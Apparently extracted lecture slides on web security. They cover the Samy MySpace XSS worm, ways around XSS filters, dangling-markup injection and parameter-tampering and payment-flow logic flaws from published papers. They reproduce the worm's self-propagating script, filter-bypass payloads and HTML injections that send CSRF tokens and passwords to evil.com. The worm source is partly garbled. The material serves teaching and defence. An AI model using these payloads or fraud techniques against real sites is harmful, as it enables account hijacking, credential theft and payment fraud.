“There were a few other complications and things to get around. This was not by any means a straightforward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of...interest. It was interesting and fun!”

Started on Samy Kamkar’s MySpace page, everybody who visited an infected page became infected and added “samy” as a friend and hero:

- “samy” was adding 1,000 friends per second at peak
- 5 hours later: 1,005,831 friends
Code of the MySpace Worm

http://namb.la/popular/tech.html

<script eval(document.all.mycode.expr)" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.innerHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken');function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]};return AS};var J;var AS=getQueryParams();var L=AS['friendID'];var M=AS['Mytoken'];if(location.hostname=='profile.myspace.com')document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()};function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)};function nothing(){};function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+'&'}var Q=escape(AV[P]);while(Q.indexOf('%26')!=-1){Q=Q.replace('%26','&');while(Q.indexOf('%2B')!=-1){Q=Q.replace('%2B','+')}}N+=P+'='+Q;O++}}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onreadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true};function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))};function getHiddenParameter(BF,BG){return findIn(BF,'name='+BG+' value='+BG)};function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y};function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z};var AA=g();var AB=AA.indexOf('mycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf(DIV);var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('java','java');AE=AE.replace('expr)','expr)'+A);AF=' but most of all, samy is my hero.'};var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'ProfileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))};function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,'GET',xmlHttp2=getData(BH,AN,L,J));xmlHttp2=httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=118516588&Mytoken='+L,processForm,'GET');function processForm(){if(xmlHttp2.readyState!=4){return}var AU=xmlHttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']='AQ';AS['friendID']='118516588';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))};function httpSend2(BH,BI,BJ,BK){if(!xmlHttp2){return false}eval('xmlHttp2.onreadystatechange=BI');xmlHttp2.open(BJ,BH,true);if(BJ=='POST')xmlHttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlHttp2.setRequestHeader('Content-Length',xmlHttp2.send(BK);return true)"</DIV>
Note: all of the above are browser-dependent

What do you think is this code doing?
Problems with Filters

◆ Suppose a filter removes `<script`
  - `<script src="..." becomes src="...">
  - `<scr<scriipt src="..." becomes `<script src="...">

◆ Removing special characters
  - `java\&#x09;script` – blocked, `\&#x09` is horizontal tab
  - `java\&#x26;\#x09;script` – becomes `java&\#x09;script`
    – Filter transforms input into an attack!

◆ Need to loop and reapply until nothing found
Simulation Errors in Filters

◆ Filter must predict how the browser would parse a given sequence of characters... this is hard!

◆ NoScript
  • Does not know that / can delimit HTML attributes
    `<a<img/src/onerror=alert(1)//<`

◆ noXSS
  • Does not understand HTML entity encoded JavaScript

◆ IE8 filter
  • Does not use the same byte-to-character decoding as the browser
Reflective XSS Filters

- Introduced in IE 8
- Blocks any script that appears both in the request and the response (why?)

http://www.victim.com?var=<script> alert('xss')

If <script> appears in the rendered page, the filter will replace it with <sc#pt>
Busting Frame Busting

- Frame busting code
  - `<script> if(top.location !== self.location) // framebust
    </script>`

- Request:
  - `http://www.victim.com?var=<script> if (top ...`

- Rendered
  - `<script> if(top.location !== self.location)
  - What has just happened?

- Same problem in Chrome’s XSS auditor
httpOnly Cookies

- Cookie sent over HTTP(S), but cannot be accessed by script via document.cookie
- Prevents cookie theft via XSS
- Does **not** stop most other XSS attacks!
Post-XSS World

- XSS = script injection ... or is it?
- Many browser mechanisms to stop script injection
  - Add-ons like NoScript
  - Built-in XSS filters in IE and Chrome
  - Client-side APIs like toStaticHTML() ...
- Many server-side defenses
- But attacker can do damage by injecting non-script HTML markup elements, too

[“Postcards from the post-XSS world”]
Dangling Markup Injection

[“Postcards from the post-XSS world”]

```html
<img src='http://evil.com/log.cgi?
... 
<input type="hidden" name="xsrf_token" value="12345">
...
</div>
```

All of this sent to evil.com as a URL
Another Variant

[“Postcards from the post-XSS world”]

<form action='http://evil.com/log.cgi'>
<textarea>
...
<input type="hidden" name="xsrf_token" value="12345">
...
</EOF>

No longer need the closing apostrophe and bracket in the page!
Only works if the user submits the form ...
... but HTML5 may adopt auto-submitting forms
Rerouting Existing Forms

[“Postcards from the post-XSS world”]

<form action='http://evil.com/log.cgi'>
...
<form action='update_profile.php'>
...
<input type="text" name="pwd" value="trustno1">
...
</form>

*Forms can’t be nested, top-level occurrence takes precedence*
Namespace Attacks

["“Postcards from the post-XSS world”"]

```
<img id='is_public'>

function retrieve_acls() {
  if (response.access_mode == AM_PUBLIC)
    is_public = true;
  else
    is_public = false;
}

function submit_new_acls() {
  if (is_public) request.access_mode = AM_PUBLIC;
}
```

*Identifier attached to tag is automatically added to JavaScript namespace with higher priority than script-created variables*

*In some browsers, can use this technique to inject numbers and strings, too*

*Always evaluates to true*
Other Injection Possibilities

- `<base href="....">` tags
  - Hijack existing relative URLs

- Forms
  - In-browser password managers detect forms with password fields, fill them out automatically with the password stored for the form’s origin

- Form fields and parameters (into existing forms)
  - Change the meaning of forms submitted by user

- JSONP calls
  - Invoke any existing function by specifying it as the callback in the injected call to the server’s JSONP API
Logic Flaws in Web Applications

◆ “NoTamper: Automatic Blackbox Detection of Parameter Tampering Opportunities in Web Applications”
◆ “How to Shop for Free Online - Security Analysis of Cashier-as-a-Service Based Web Stores”
User Input Validation

Web applications need to reject invalid inputs

- “Credit card number should be 15 or 16 digits”
- “Expiration date in the past is not valid”

Traditionally done at the server

- Round-trip communication, increased load

Better idea (?): do it in the browser using client-side JavaScript code

[“NoTamper”, Bisht et al.]
Client-Side Validation

onSubmit=
validateCard();
validateQuantities();

Validation Ok?

“NoTamper”, Bisht et al.

Yes
send inputs to server

No
reject inputs
Problem: Client Is Untrusted

[“NoTamper”, Bisht et al.]

Previously rejected values sent to server

Inputs must be re-validated at server!
Online Banking

[“NoTamper”, Bisht et al.]

Client-side constraints:

- from IN (Accnt1, Accnt2)
- to IN (Accnt1, Accnt2)

Server-side code:

- transfer money from \rightarrow to

Vulnerability: malicious client submits arbitrary account numbers for unauthorized money transfers
Online Shopping

[“NoTamper”, Bisht et al.]

Client-side constraints:
\[
\begin{align*}
\text{quantity1} & \geq 0 \\
\text{quantity2} & \geq 0
\end{align*}
\]

Server-side code:
\[
\text{total} = \text{quantity1} \times \text{price1} + \text{quantity2} \times \text{price2}
\]

Vulnerability: malicious client submits negative quantities for unlimited shopping rebates

Two items in cart: price1 = $100, price2 = $500
quantity1 = -4, quantity2 = 1, total = $100 (rebate of $400 on price2)
IT Support

[“NoTamper”, Bisht et al.]

Client-side constraints:
- userId == 96 (hidden field)

Server-side code:
- Update profile with id 96 with new details

Vulnerability: update arbitrary account

Inject a cross-site scripting (XSS) payload in admin account, cookies stolen every time admin logged in
Server-side code:

```cpp
privilege = non-admin;
if ( _COOKIE["make_install_prn"] == 1 )
    privilege = admin;
```

Vulnerability: malicious client sets `make_install_prn` cookie, creates fake admin account
Cashier-as-a-Service

[Wang et al.]

Web store

Joint decision: is an order appropriately paid?

PayPal, Amazon Payments, Google Checkout, etc.

communication about the order

communication about the payment

Shopper
nopCommerce + Amazon Simple Pay

[Wang et al.]

Anyone can register an Amazon seller account, so can Chuck

- Purchase a $25 MasterCard gift card by cash, register under a fake address and phone number
- Create seller accounts in PayPal, Amazon and Google using the card

Chuck’s trick

- Check out from Jeff, but pay to “Mark” (Chuck himself)
- Amazon tells Jeff that payment has been successful
- Jeff is confused, ships product

Chuck, pay in Amazon with this signed letter:

Dear Amazon,

Order #123 is $10, when it is paid, text me at 425-111-2222.

[Jeff’s signature]

Great, I will ship order #123!

Hi, $10 has been paid for order #123.

[Amazon’s signature]

Amazon (CaaS)
Interspire + PayPal Express

Session 1: pay for a cheap order (orderID1), but prevent the merchant from finalizing it by holding Message B

Session 2: place an expensive order (orderID2), but skip the payment step

Message A redirects to store.com/finalizeOrder?orderID1

Message B calls store.com/finalizeOrder?orderID1

Expensive order is checked out but the cheap one is paid!